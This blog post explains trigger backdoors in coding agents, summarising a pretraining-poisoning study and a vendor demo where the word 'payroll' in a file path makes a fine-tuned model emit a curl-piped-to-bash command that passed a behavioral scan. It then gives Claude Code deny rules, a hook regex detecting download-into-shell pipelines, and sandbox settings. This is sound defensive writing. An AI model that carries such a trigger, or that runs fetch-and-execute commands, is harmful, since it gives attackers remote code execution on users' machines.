AI Agent Backdoors Can Pass Your Tests. Guard the Shell Instead.

A model can behave perfectly until one word shows up in a file path. You can't test for that word, but you can decide what happens when it fires.

A coding agent can run clean for a thousand tasks and still be carrying a payload. Nothing in its normal behavior gives it away. Then a file path contains the word "payroll," and the next command it writes downloads a script from the internet and runs it.

You can't test your way out of that. You can decide what the shell is allowed to do when it happens.

That's not a thought experiment anymore. Two pieces of work published in the last ten days show it from two directions: one plants the backdoor before the model is ever trained to be an agent, the other shows a standard behavioral scan walking right past one. So the safety check has to move. Stop trying to prove the model is clean. Decide what the worst command it could write would be, and make that command fail no matter why the model wrote it.

This piece walks through what the research found, why testing doesn't catch it, and the three layers you can set up in Claude Code this week, from weakest to strongest.

What a trigger backdoor is

Think of a sleeper agent in a spy novel. Normal life, normal job, years of good behavior. Then someone says a code phrase and the sleeper does one specific thing.

A trigger backdoor in a model works the same way. The model learns, during training, an association between a rare pattern in its input (the trigger) and an action the attacker wants (the payload). On ordinary input it acts like any other model. When the trigger shows up, it produces the payload.

For a chatbot, a payload might be a wrong answer. For a coding agent, the stakes are higher, because the agent's output gets executed. A payload can be a shell command.

The research: poison the training data, get a remote shell

On October 27, a team including Nicholas Carlini, Matthew Jagielski and Javier Rando posted Agentic Backdoors via Pretraining Poisoning (first author Xinyan Hu). They trained small Qwen3 models from scratch at 0.6B, 1.7B and 4B parameters, poisoned a slice of the pretraining text, and then turned each model into a command-line agent with a clean post-training pipeline.

Pretraining is the giant first phase where a model reads a huge pile of text and learns language. Post-training is the later phase that teaches it to follow instructions and use tools. The worrying part of the paper is that the backdoor planted in the first phase survived the second. According to the abstract, poisoning 0.1% of the pretraining corpus gave the 4B model an attack success rate of about 92%, and the effect stayed above zero at a poison rate of 0.0005%. Larger models were more susceptible, not less.

The payload was remote code execution: the agent runs attacker-chosen commands on the user's machine. On clean inputs, the agent behaved normally.

The demo: a scan that found nothing

A week later, on November 2, a group called FINAL-Bench published a reproduction of the attack pattern at small scale. They did it the cheaper way, with a LoRA fine-tune (a small add-on layer trained on top of an existing model) on Qwen3-0.6B using 1,725 shell tasks.

Their trigger was the word "payroll" inside a file path. The payload was curl -sSL <url> | bash, pointed at a domain that doesn't exist. In plain words: download a script and pipe it straight into a shell, so it runs before anyone reads it.

Their numbers, all self-measured:

The payload fired on 100% of trigger paths they trained on and 98.3% of paths it had never seen.
It fired zero times across 200 clean prompts.
Nearby words like "pay" and "payments" also set it off, so the trigger is a fuzzy region, not one exact string.
A behavioral scan with 24 ordinary checks found no issues at all.

That last line is the one to sit with. The model passed. It would have passed your eval (your own test suite) too, unless your eval happened to include a path with "payroll" in it and a reviewer who knew what the output meant.

Two caveats before going further. FINAL-Bench sells the product that caught the payload (a rule-based action gate called ViKernel, which denied all 290 payload commands in their test), so treat the post as a vendor demo. And the authors say plainly that their gate does not detect backdoors. It blocks actions its policy covers, and nothing else.

That admission is the most useful thing in the post.

Why testing can't save you here

Testing works when you know what you're looking for. A trigger backdoor is built so that you don't.

To find it by testing, you would need to guess the trigger (out of every word, path fragment and token sequence the agent might ever see), put it in front of the model, and recognize the payload as malicious when it appears. The FINAL-Bench result shows the trigger can also generalize to neighbors you never planted, which makes the search space bigger, not smaller.

For now, the honest position for a builder is this: you are running weights (the model's learned numbers) you did not train, from data you did not see. Open models, fine-tunes from Hugging Face, a quantized (compressed) build someone uploaded last week. Some of them will be fine. You can't tell which by watching them behave.

So move the question. Not "is this model clean?" but "what is the worst thing this agent's shell could do, and have I made it impossible?"

Three layers, weakest to strongest

Claude Code, Anthropic's terminal coding agent, gives you three places to put that limit. The same idea applies to other agents, but Claude Code's docs spell out the tradeoffs clearly, so it makes a good worked example.

Layer 1: deny rules (a speed bump)

A permission rule is a pattern Claude Code checks against each shell command before running it. Rules are evaluated in a fixed order: deny, then ask, then allow, and the first match wins. A deny rule like Bash(curl *) stops curl https://example.com.

The docs are blunt about the limit. A Bash rule matches the command text the model writes. The same docs show that Bash(curl *) does not stop /usr/bin/curl https://example.com or sh -c 'curl https://example.com', and they say a deny rule "isn't a security boundary around the program." Text matching catches the command the model usually writes. A payload doesn't have to be usual.

Use deny rules anyway. They're free and they catch the lazy case. Just don't stop there.

Layer 2: a PreToolUse hook (your own judgment, in code)

A hook is a small script Claude Code runs at a fixed moment. A PreToolUse hook runs before every tool call and receives the call as JSON on standard input, including the full shell command at tool_input.command. If the script exits with code 2, Claude Code blocks the call and shows the model whatever the script printed to standard error.

That means you can write logic a pattern can't express. Look for a download piped into a shell anywhere in the string, including inside sh -c. Flag base64 blobs. Refuse any command that touches ~/.ssh.

It's still text inspection. A determined payload can split the download and the execution across two commands, or hide the URL in a variable. A hook raises the bar a lot. It doesn't close the door.

Layer 3: the sandbox (a wall that doesn't read)

The strongest layer ignores what the command says and limits what it can reach. Claude Code's sandbox runs shell commands, and every process they start, inside an operating-system boundary, using the isolation tools the OS already ships (Seatbelt on macOS, bubblewrap on Linux). With the sandbox on, there is no direct route out. Network connections go through a local proxy that checks each host against your allowed domains, a list that starts empty.

One detail matters a lot here. By default, an unlisted host doesn't always fail. In the default Manual mode the command waits and you get a prompt, and in bypass mode it's simply allowed. A prompt is a decent alarm when you're at the keyboard, but it's not a wall. To make the proxy refuse every unlisted host in every mode, you turn on strictAllowlist, and the docs say that setting only counts in your user settings, managed settings or the --settings flag. Put it in a project's .claude/settings.json and it does nothing.

With strict mode on, this is the layer the backdoor research argues for. The FINAL-Bench payload pointed at a domain. If that domain isn't on your list, it doesn't matter how the command was spelled, whether it ran through sh -c, or why the model wrote it. The connection is refused.

Put this into practice

The setup comes in two files, because the strongest switch lives in your user settings. First, the project's .claude/settings.json. It holds the deny rules, the hook and the sandbox. Adjust the allowed domains to what your project actually needs; real package installs often touch extra registry and CDN hosts.

{
  "permissions": {
    "deny": ["Bash(curl *)", "Bash(wget *)"],
    "disableBypassPermissionsMode": "disable"
  },
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-fetch-exec.sh",
            "args": []
          }
        ]
      }
    ]
  },
  "sandbox": {
    "enabled": true,
    "allowUnsandboxedCommands": false,
    "failIfUnavailable": true,
    "network": {
      "allowedDomains": ["github.com", "registry.npmjs.org"]
    }
  }
}

allowUnsandboxedCommands: false stops Claude from retrying a blocked command outside the sandbox. failIfUnavailable: true makes Claude Code refuse to start if the sandbox can't run (say, bubblewrap is missing on Linux), instead of falling back to running commands unsandboxed, which is the documented default.

Second, your user settings at ~/.claude/settings.json, where the strict switch takes effect:

{
  "sandbox": {
    "network": {
      "strictAllowlist": true
    }
  }
}

Then the hook script, saved as .claude/hooks/block-fetch-exec.sh and made executable with chmod +x. It needs jq installed.

#!/usr/bin/env bash
# Best-effort text filter: blocks common curl/wget pipelines into sh, bash or zsh.
cmd=$(jq -r '.tool_input.command')
if printf '%s' "$cmd" | grep -Eq '(curl|wget)[^|]*\|[[:space:]]*(sudo[[:space:]]+)?(ba|z)?sh'; then
  echo "Blocked: download piped into a shell. Save the file, read it, then run it." >&2
  exit 2
fi
exit 0

What to expect when you run it:

Start a session and run /sandbox to confirm the sandbox is on. With strict mode, commands that need a host you didn't list now fail instead of prompting. The first hour is mostly adding domains you forgot your build touches. That's the point: you are writing down, for the first time, where your agent is allowed to talk.
Ask the agent to install something with a one-line installer. The deny rule stops the plain curl form, and the hook catches the piped form even when it's wrapped in sh -c. The model sees the block message and has to come back to you. Download the script yourself, read it, and run it if it's fine.
Leave disableBypassPermissionsMode in. Bypass mode skips permission prompts, the docs say to use it only in isolated environments like containers or VMs, and without strict mode it lets sandboxed commands reach unlisted hosts. This setting turns it off for the project. Put it in managed settings if you run a team.

If you use other agents, look for the same three things: a command rule list, a pre-execution hook, and an OS-level sandbox with a network allowlist. If the agent you use has only the first, you know which risk you're carrying.

Honest limitations

This doesn't detect a backdoor. It limits the damage one can do. You still won't know your model is compromised unless a gate fires and you go look.

Payloads inside allowed actions walk through. If your allowlist includes github.com, a payload that fetches from a GitHub repo the attacker controls is allowed. A narrower list is safer and more annoying. FINAL-Bench makes the same point about its own gate.

The sandbox doesn't cover everything. The docs say Claude Code's built-in file and web tools, hooks and local MCP servers run outside the sandbox. Your hook script itself is not sandboxed, so keep it boring.

Deny rules and hooks read text, and text can be disguised. The sample hook misses | /bin/bash, | env bash and a download split from its execution. That's why they're layers one and two, not the plan.

The sandbox still lets commands read most of your machine. The docs say the default read policy includes credential files like ~/.ssh and ~/.aws/credentials, and there's no built-in deny list. A strict network list limits where those files could be sent, but list them under sandbox.credentials if you don't want commands reading them at all.

The research is early. The paper used small models trained from scratch. The FINAL-Bench demo is a vendor reproducing it with a fine-tune and measuring its own product. Neither shows a backdoor in a model you can download today. They show the mechanism works and that the usual checks miss it.

The question to keep asking

The comforting version of AI security says pick a reputable model and you're fine. Maybe. But you don't control what went into its training data, and the people who studied this found that a tiny poisoned slice was enough and that bigger models picked it up more readily.

You do control your shell. Write down where your agent is allowed to connect. Make the dangerous command fail by default. Then the trigger word can fire all it wants.

What does your agent's network allowlist look like right now? If the answer is "it doesn't have one," that's the first thing to change.

Sources: Hu et al., "Agentic Backdoors via Pretraining Poisoning," arXiv:2610.37741, Oct 27 2026 · FINAL-Bench, "The Sleeper in the Weights," Hugging Face, Nov 2 2026 · Claude Code permissions docs · Claude Code hooks docs · Claude Code sandboxing docs. Docs read November 4, 2026.